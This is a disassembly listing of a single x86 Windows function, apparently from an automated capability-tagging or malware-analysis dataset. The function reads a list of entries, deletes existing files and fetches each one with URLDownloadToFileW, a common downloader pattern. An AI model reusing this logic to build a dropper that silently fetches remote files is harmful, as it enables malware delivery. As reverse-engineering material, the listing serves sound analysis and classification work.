Function at 0x409e20
Capabilities:
Check if file exists
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6746e5
mov eax, dword fs:[0]
push eax
sub esp, 0xf0
mov eax, dword [0x71506c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0xf8], edi
mov dword [ebp - 0xf0], 0
lea ecx, [ebp - 0xb0]
mov dword [ebp - 4], 0
call fcn.004d2dab
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 1
call fcn.004d2dab
mov byte [ebp - 4], 2
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
push 0
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
call fcn.004d024b
add esp, 0xc
test eax, eax
je 0x409ef5
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00405f50
lea eax, [ebp - 0x28]
push eax
call fcn.004d00b7
add esp, 0x1c
lea ecx, [ebp + 8]
push eax
call fcn.00405e30
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x409ef5
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409eeb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a43f
push edx
push ecx
call fcn.00430080
add esp, 8
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xb0]
call fcn.004d3466
test al, al
je 0x409f55
push 4
push str.list
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.004063f0
lea eax, [ebp - 0x78]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0xf0], 1
push eax
lea ecx, [ebp - 0xb0]
call fcn.004d32b9
mov byte [ebp - 0xe9], 0
test al, al
jne 0x409f5c
mov byte [ebp - 0xe9], 1
mov dword [ebp - 4], 2
test byte [ebp - 0xf0], 1
je 0x409fa0
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x409fa0
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409f96
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a444
push edx
push ecx
call fcn.00430080
add esp, 8
cmp byte [ebp - 0xe9], 0
je 0x409fb5
mov byte [ebp - 0xe9], 0
jmp 0x40a3d9
push 5
push str.is_up
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.004063f0
lea eax, [edi + 0x50]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xb0]
call fcn.004d3214
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x40a025
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40a01b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a449
push edx
push ecx
call fcn.00430080
add esp, 8
lea ecx, [ebp - 0x78]
xor esi, esi
call fcn.004d341b
test eax, eax
jle 0x40a0cb
push esi
lea ecx, [ebp - 0x78]
call fcn.004d2e88
push eax
lea ecx, [ebp - 0xe8]
call fcn.004d2d18
push 0x218
mov byte [ebp - 4], 5
call fcn.0042fcd5
add esp, 4
mov dword [ebp - 0xfc], eax
mov ecx, eax
call fcn.004085e0
lea edx, [ebp - 0xe8]
mov dword [ebp - 0xf0], eax
lea ecx, [ebp - 0xf0]
call fcn.00428fa0
test al, al
je 0x40a0ab
mov edx, dword [edi + 0x44]
lea ecx, [edi + 0x40]
cmp dword [ecx + 8], edx
je 0x40a09e
mov eax, dword [ebp - 0xf0]
mov dword [edx], eax
add dword [ecx + 4], 4
jmp 0x40a0ab
lea eax, [ebp - 0xf0]
push eax
push edx
call fcn.0040b810
lea ecx, [ebp - 0xe8]
mov byte [ebp - 4], 2
call fcn.004d2e61
lea ecx, [ebp - 0x78]
inc esi
call fcn.004d341b
cmp esi, eax
jl 0x40a037
mov esi, dword [ebp - 0xf8]
mov dword [ebp - 0xf0], 0
mov ecx, dword [esi + 0x44]
mov eax, ecx
mov edx, dword [esi + 0x40]
sub eax, edx
sar eax, 2
test eax, eax
je 0x40a3ca
push 0x3a8
sub esp, 0x18
push esp
call fcn.00407c40
mov ecx, eax
call fcn.004d1397
lea eax, [ebp - 0x28]
push eax
call fcn.004d0c7c
mov ecx, dword [esi + 0x40]
mov edi, eax
mov eax, dword [ebp - 0xf0]
add esp, 0x20
mov esi, dword [ecx + eax*4]
cmp esi, edi
je 0x40a188
mov ecx, dword [esi + 0x14]
cmp ecx, 0x10
jb 0x40a156
mov eax, dword [esi]
inc ecx
cmp ecx, 0x1000
jb 0x40a14c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a43f
mov eax, edx
push ecx
push eax
call fcn.00430080
add esp, 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
movups xmm0, xmmword [edi]
movups xmmword [esi], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x40a1bc
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40a1b2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a43f
push edx
push ecx
call fcn.00430080
add esp, 8
mov esi, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
mov eax, dword [esi + 0x40]
lea edi, [eax + ecx*4]
mov eax, dword [edi]
add eax, 0xe4
cmp dword [eax + 0x14], 0x10
jb 0x40a1dd
mov eax, dword [eax]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov ecx, dword [edi]
mov edi, eax
mov dword [ebp - 0xf4], eax
lea edx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x40a1f1
mov eax, dword [ecx + 0x14]
sub edi, edx
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp edi, eax
ja 0x40a233
cmp dword [ecx + 0x14], 0x10
lea eax, [edx + edi]
mov dword [ecx + 0x10], eax
jb 0x40a214
mov ecx, dword [ecx]
push edi
push dword [ebp - 0xf4]
lea esi, [ecx + edx]
push esi
call fcn.00507e10
mov byte [esi + edi], 0
add esp, 0xc
mov esi, dword [ebp - 0xf8]
jmp 0x40a24d
push edi
push dword [ebp - 0xf4]
mov byte [ebp - 0xfc], 0
push dword [ebp - 0xfc]
push edi
call fcn.00407030
mov ecx, dword [ebp - 0xf0]
mov eax, dword [esi + 0x40]
lea edi, [ecx*4]
mov eax, dword [eax + edi]
cmp dword [eax + 0x14], 0x10
jb 0x40a268
mov eax, dword [eax]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a288
mov eax, dword [esi + 0x40]
mov eax, dword [edi + eax]
cmp dword [eax + 0x14], 0x10
jb 0x40a281
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esi + 0x40]
push 0
push 0
push 0x3a8
sub esp, 0x18
mov ecx, esp
push dword [eax + edi]
call fcn.00405f50
lea eax, [ebp - 0x40]
push eax
call fcn.004d08fb
add esp, 0x20
mov byte [ebp - 4], 6
cmp dword [eax + 0x14], 8
jb 0x40a2b9
mov eax, dword [eax]
push eax
mov eax, dword [esi + 0x40]
push 0x3a8
sub esp, 0x18
mov ecx, esp
mov eax, dword [eax + edi]
add eax, 0xe4
push eax
call fcn.00405f50
lea eax, [ebp - 0x28]
push eax
call fcn.004d08fb
add esp, 0x20
cmp dword [eax + 0x14], 8
jb 0x40a2e9
mov eax, dword [eax]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov edx, dword [ebp - 0x14]
test eax, eax
setne byte [ebp - 0xe9]
cmp edx, 8
jb 0x40a335
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a32b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a43f
push edx
push ecx
call fcn.00430080
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x40a387
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a37d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a43f
push edx
push ecx
call fcn.00430080
add esp, 8
cmp byte [ebp - 0xe9], 0
je 0x40a3a8
mov eax, dword [esi + 0x40]
mov eax, dword [edi + eax]
cmp dword [eax + 0x14], 0x10
mov dword [eax + 0x10], 0
jb 0x40a3a5
mov eax, dword [eax]
mov byte [eax], 0
mov ecx, dword [esi + 0x44]
mov eax, ecx
mov edi, dword [ebp - 0xf0]
mov edx, dword [esi + 0x40]
inc edi
sub eax, edx
mov dword [ebp - 0xf0], edi
sar eax, 2
cmp edi, eax
jb 0x40a0f0
sub ecx, edx
test ecx, 0xfffffffc
setne byte [ebp - 0xe9]
lea ecx, [ebp - 0x78]
call fcn.004d2e61
lea ecx, [ebp - 0xb0]
call fcn.004d2e61
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x40a41c
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40a412
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a44e
push edx
push ecx
call fcn.00430080
add esp, 8
mov al, byte [ebp - 0xe9]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042fa05
mov esp, ebp
pop ebp
ret 0x18
call fcn.0050c210
call fcn.0050c210
call fcn.0050c210
call fcn.0050c210
int3